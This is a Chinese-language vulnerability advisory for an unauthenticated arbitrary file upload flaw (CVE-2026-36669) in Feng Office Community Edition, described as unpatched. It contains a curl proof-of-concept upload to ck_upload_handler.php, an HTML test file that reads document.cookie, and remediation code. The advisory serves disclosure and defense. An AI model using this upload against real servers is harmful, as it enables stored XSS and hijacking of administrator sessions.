Feng Office 社区版(版本 3.11.13.11)的 ck_upload_handler.php 中存在一个未经验证的任意文件上传漏洞。该漏洞允许远程、未经验证的攻击者将任意文件(包括恶意的 .html 或 .php 脚本)上传到可通过 Web 访问的目录。结合缺乏管理 cookie 保护(HttpOnly),此漏洞可导致存储型跨站脚本攻击(XSS)和管理员会话劫持。
| 指标 | 详情 |
|---|---|
| CVE 标识符 | CVE-2026-36669 |
| 漏洞类型 | 危险类型文件的无限制上传(CWE-434) |
| 相关弱点 | 关键功能缺少身份验证(CWE-306) |
| 受影响产品 | Feng Office 社区版 |
| 受影响版本 | 版本 3.11.13.11(以及可能更早的版本) |
| 利用状态 | 概念验证已验证 |
| 修复状态 | 未修补(已通知厂商,在规定披露窗口内未提供补丁) |
端点 ck_upload_handler.php 作为独立脚本运行。它不会加载或继承主应用程序的身份验证中间件或访问控制列表(ACL)。因此,任何直接发送到此脚本的外部请求都被视为已通过身份验证。
在 ck_upload_handler.php 的源代码中,旨在将上传限制为特定图像格式(.jpg、.png、.gif)的服务端文件验证逻辑(第 21–25 行)已被明确注释掉:
// $pattern = "/\.(jpg|png|gif)$/i";
// if (!preg_match($pattern,$_FILES['upload']['name'])) {
// ...
// }
由于此正则表达式约束未生效,文件上传机制接受任何用户提供的扩展名。
该脚本使用 PHP 的 copy() 函数将上传的文件直接写入 /tmp/ 目录,该目录被配置为可通过 Web 访问。
全局配置文件 application/config/config.php 未对会话 cookie 强制设置 HttpOnly 标志。当攻击者上传包含客户端脚本块的 .html 文件时,任何查看该文件的管理员都会在其活动会话的上下文中执行该脚本,从而允许攻击者静默提取活动的管理会话令牌。
注意: 此概念验证仅供教育和防御性审计目的使用。
要验证此漏洞,请向端点发送包含无害验证文件(例如 test.html)的多部分 POST 请求,并附加所需的 CKEditorFuncNum 参数:
curl -i -X POST \
-F "[email protected]" \
"http://<target-domain>/ck_upload_handler.php?CKEditorFuncNum=1"
其中 test.html 包含基本的概念验证 HTML 标记:
<!DOCTYPE html>
<html>
<body>
<script>
alert("Vulnerability Verified: " + document.cookie);
</script>
</body>
</html>
如果存在漏洞,服务器将返回 200 OK 状态并输出一个指示上传路径的 JavaScript 块:
<script type="text/javascript">
window.parent.CKEDITOR.tools.callFunction("1", "/tmp/test.html", "");
</script>
如果您运行的是受影响的 Feng Office 版本,请应用以下手动热补丁来保护文件上传端点:
确保 ck_upload_handler.php 在处理任何文件上传逻辑之前检查活动的管理会话。
取消注释并严格执行扩展名检查。拒绝任何不明确匹配预期的非可执行图像 MIME 类型的上传:
$pattern = "/\.(jpg|jpeg|png|gif)$/i";
if (!preg_match($pattern, $_FILES['upload']['name'])) {
header("HTTP/1.1 403 Forbidden");
exit("Invalid file type.");
}
修改您的 PHP 配置或应用程序引导配置,以确保会话 cookie 无法通过客户端脚本 API 访问:
session.cookie_httponly = On
Soufiane LAGZIRI